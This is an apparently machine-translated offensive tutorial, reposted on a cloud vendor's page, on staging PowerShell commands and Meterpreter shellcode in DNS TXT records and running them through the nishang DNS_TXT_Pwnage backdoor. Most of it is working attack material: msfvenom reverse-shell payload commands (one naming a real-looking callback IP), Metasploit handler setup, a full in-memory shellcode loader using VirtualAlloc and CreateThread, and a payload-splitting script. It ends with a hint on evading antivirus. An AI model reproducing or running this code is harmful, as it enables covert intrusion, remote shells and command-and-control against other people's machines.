Run powershell with dns txt Record

Source: Internet
Author: User

Run powershell with dns txt Record

0x00 Introduction

Dns txt records are generally used to record the description of a host name or domain name setting. You can enter anything here, with a length limit of 255. The vast majority of TXT records are used for SPF record (Anti-spam ). This article describes how to use nishang to execute powershell scripts by creating TXT records. Of course, you must first have a domain name.

0x01 create TXT Record

Here we need to use a script OUT-DnsTxt in nishang.

1. Common commands

Because Common commands are short, you can directly add them to the TXT record, for example:

Now let's look at the TXT record:

You can see that the record has been successfully added.

2. Script

Because the TXT record length is limited to 255, if you want to add a script to the record, you need to add multiple TXT records. The following is an example. I wrote a PSH script myself:

function Get-User{<#.SYNOPSISScript to generate DNS TXT for a test..DESCRIPTIONUse this script to get user information. to be more big.. more big... big..Do one thing at a time, and do well.Keep on going never give up..EXAMPLEPS > Get-User#>     [CmdletBinding()]Param ()    net user}

Use Out-Dnstxt for conversion:

PS F:\DNS> . .\Out-DnsTxt.ps1PS F:\DNS> Out-DnsTxt -DataToEncode .\Get-User.ps1You need to create 2 TXT records.All TXT Records written to F:\DNS\encodedtxt.txt

Because this script is relatively small, only two rows are produced:

You can add the two rows to 1.ps.domain.com to 2.ps.domian.com in sequence:

View the TXT file. You can see that all the content has been added:

0x02 run Powershell

After adding the TXT record, run these scripts through DNS_TXT_Pwnage.ps1.

DNS_TXT_Pwnage.ps1 is a backdoor script that receives commands or scripts through dns txt.

Here, you also need to add two records, strat and stop, for example:

1. Execute the command

PS F:\DNS> . .\DNS_TXT_Pwnage.ps1PS F:\DNS> DNS_TXT_Pwnage -startdomain start.evi1cg.me -cmdstring start -commanddomain command.evi1cg.me -psstring test -psdomain xxx.evi1cg.me -Subdomains 1 -StopString stop

The following parameters are explained:

StartdomainFor the createdStart. domainReturns a string;Optional stringAny input string;CommanddomainThe domain name of the TXT record for executing the created command;PsstringAny input string;PsdomainThe domain name or subdomain name for the TXT Record of the created execution script;SubdomainsCreate the number of TXT records for the execution script (for example, 2 for the script created in 1.2 );StopStringAny input string.

The important parameter here isStartdomain, Which will be compared with the input 'string' and 'psstring'. If it is equal to the 'string' value, runCommanddomainThat is, the command is executed if it is equal to psstring.PsdomainScript.

The preceding command is run, so the 'string' value is input as 'start', which is equal to the txt record value of start. evi1cg. me. You can enter 'psstring' without leaving it blank. The execution result is as follows:

We can execute different commands by modifying the TXT value of command. domain. For example, Get-Host:

2. Execute the script

PS F:\DNS> . .\DNS_TXT_Pwnage.ps1PS F:\DNS> DNS_TXT_Pwnage -startdomain start.evi1cg.me -cmdstring bulabula -commanddomain command.evi1cg.me -psstring start -psdomain ps.evi1cg.me -Arguments Get-User -Subdomains 2 -StopString stop

Note that the psstring value is start, which is the same as the TXT record of start. domain, and the separator string is any string. The effect is as follows:

One more ParameterArgumentsThe name of the function to be executed must be specified. Test results show that failure occurs when the script contains Chinese characters. You can modify the specified parameter value of a script with parameters.

0x03 execute Shellcode

You can execute shellcode through a TXT record. First, we use msf to generate a powershell shellcode:

☁  ~  sudo msfvenom -p windows/meterpreter/reverse_tcp -f powershell LHOST=x.x.x.x LPORT=8887 > pspayload.txt

Use Out-DnsTxt to convert the generated file:

PS F:\DNS> Out-DnsTxt -DataToEncode .\pspayload.txtYou need to create 3 TXT records.All TXT Records written to F:\DNS\encodedtxt.txt

Then add the preceding records to the TXT records, for example:

For the 32-bit win7 system used for testing, use msf to enable the listener:

msf > use exploit/multi/handlermsf exploit(handler) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcpmsf exploit(handler) > set LPORT 8887LPORT => 8887msf exploit(handler) > set LHOST x.x.x.xLHOST => x.x.x.xmsf exploit(handler) > exploit    [*] Started reverse handler on x.x.x.x:8887[*] Starting the payload handler...

We also need a script to get the TXT record and execute it. Here I changed a script:

function Execute-Code{<#.PARAMETER ShelldomainThe domain (or subdomain) whose subbdomain's TXT records would hold shellcode..PARAMETER subdomainsThe number of subdomains which would be used to provide shellcode from their TXT records. .PARAMETER AUTHNSAuthoritative Name Server for the domains..EXAMPLEPS > Execute-CodeThe payload will ask for all required options..EXAMPLEPS > Execute-Code -Shelldomain 32.alteredsecurity.com -SubDomains 5 -AUTHNS f1g1ns2.dnspod.net.Use above from non-interactive shell.#>    [CmdletBinding()] Param(        [Parameter(Position = 0, Mandatory = $True)]        [String]        $Shelldomain,        [Parameter(Position = 1, Mandatory = $True)]        [String]        $Subdomains,             [Parameter(Position = 2, Mandatory = $True)]        [String]        $AUTHNS    )    function Get-ShellCode    {        Param(            [Parameter()]            [String]            $Shelldomain        )        $i = 1        while ($i -le $subdomains)        {            $getcommand = (Invoke-Expression "nslookup -querytype=txt $i.$Shelldomain $AUTHNS")             $temp = $getcommand | select-string -pattern "`""            $tmp1 = ""            $tmp1 = $tmp1 + $temp            $encdata = $encdata + $tmp1 -replace '\s+', "" -replace "`"", ""            $i++        }        #$encdata = ""        $dec = [System.Convert]::FromBase64String($encdata)        $ms = New-Object System.IO.MemoryStream        $ms.Write($dec, 0, $dec.Length)        $ms.Seek(0,0) | Out-Null        $cs = New-Object System.IO.Compression.DeflateStream ($ms, [System.IO.Compression.CompressionMode]::Decompress)        $sr = New-Object System.IO.StreamReader($cs)        $sc = $sr.readtoend()        return $sc    }    $Shell = (Get-ShellCode $Shelldomain)    #Remove unrequired things from msf shellcode    $tmp = $Shell -replace "`n","" -replace '\$buf \+\= ',"," -replace '\[Byte\[\]\] \$buf \=' -replace " "    [Byte[]]$sc = $tmp -split ','    #Code Execution logic    $code = @"    [DllImport("kernel32.dll")]    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);    [DllImport("kernel32.dll")]    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);    [DllImport("msvcrt.dll")]    public static extern IntPtr memset(IntPtr dest, uint src, uint count);"@    $winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru    $size = 0x1000     if ($sc.Length -gt 0x1000) {$size = $sc.Length}     $x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)     for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt64()+$i), $sc[$i], 1)}    Try {        $winFunc::CreateThread(0,0,$x,0,0,0)        sleep 100000        }    Catch    {    [system.exception]    "caught a system exception"    }}

Parameter description,Shelldomain ** is the domain name or subdomain name for creating txt records;SubdomainsNumber of TXT domain names to be created, as shown in Figure 3 above;AUTHNS ** is the authoritative name server of the domain, such as my dog dad, so AUTHNS is f1g1ns2.dnspod.net

Run:

PS C:\Users\evi1cg\Desktop> . .\Execute-Code.ps1PS C:\Users\evi1cg\Desktop> Execute-Code -Shelldomain 32.evi1cg.me -subdomains 3 -AUTHNS f1g1ns2.dnspod.net

Meterpreter session retrieved successfully:

Modify the payload and script on your own for 64-bit requests.

0x04 supplement

Metasploit already contains the script dns_txt_query_exec.rb, which queries the TXT records in the order of a. domain, B. domain.... The following is an example. First, generate the payload:

☁  ~  sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=103.238.225.222 LPORT=8887 -e x86/alpha_mixed Bufferregister=EDI -f raw > reverse.txt

Use the following script to cut the file:

#!/usr/bin/env python#coding=utf-8def txt(string,length):    return [string[x:x+length] for x in range(0,len(string),length)]with open('out.txt','w+') as f:    line = open('reverse.txt','r').read()    line= txt(line,255)    for txts in line:        f.writelines(txts+'\n\n\n\n')

The output is as follows:

Add these three rows to the TXT records of a. domain, B. domain, and c. domain respectively:

Generate exe:

☁  ~  sudo msfvenom -p windows/dns_txt_query_exec DNSZONE=evi1cg.me -f exe > test.exe

Msf listener enabled:

msf > use exploit/multi/handlermsf exploit(handler) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcpmsf exploit(handler) > set LHOST x.x.x.xLHOST => x.x.x.xmsf exploit(handler) > set LPORT 8887LPORT => 8887msf exploit(handler) > exploit

Run exe to get meterpreter:

As for kill-free, you can directly generate the shellcode in the c format, and then follow the instructions to create a kill-free payload.

0x05 Summary

This article describes how to execute commands and how to use the nishang script, hoping to help you.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.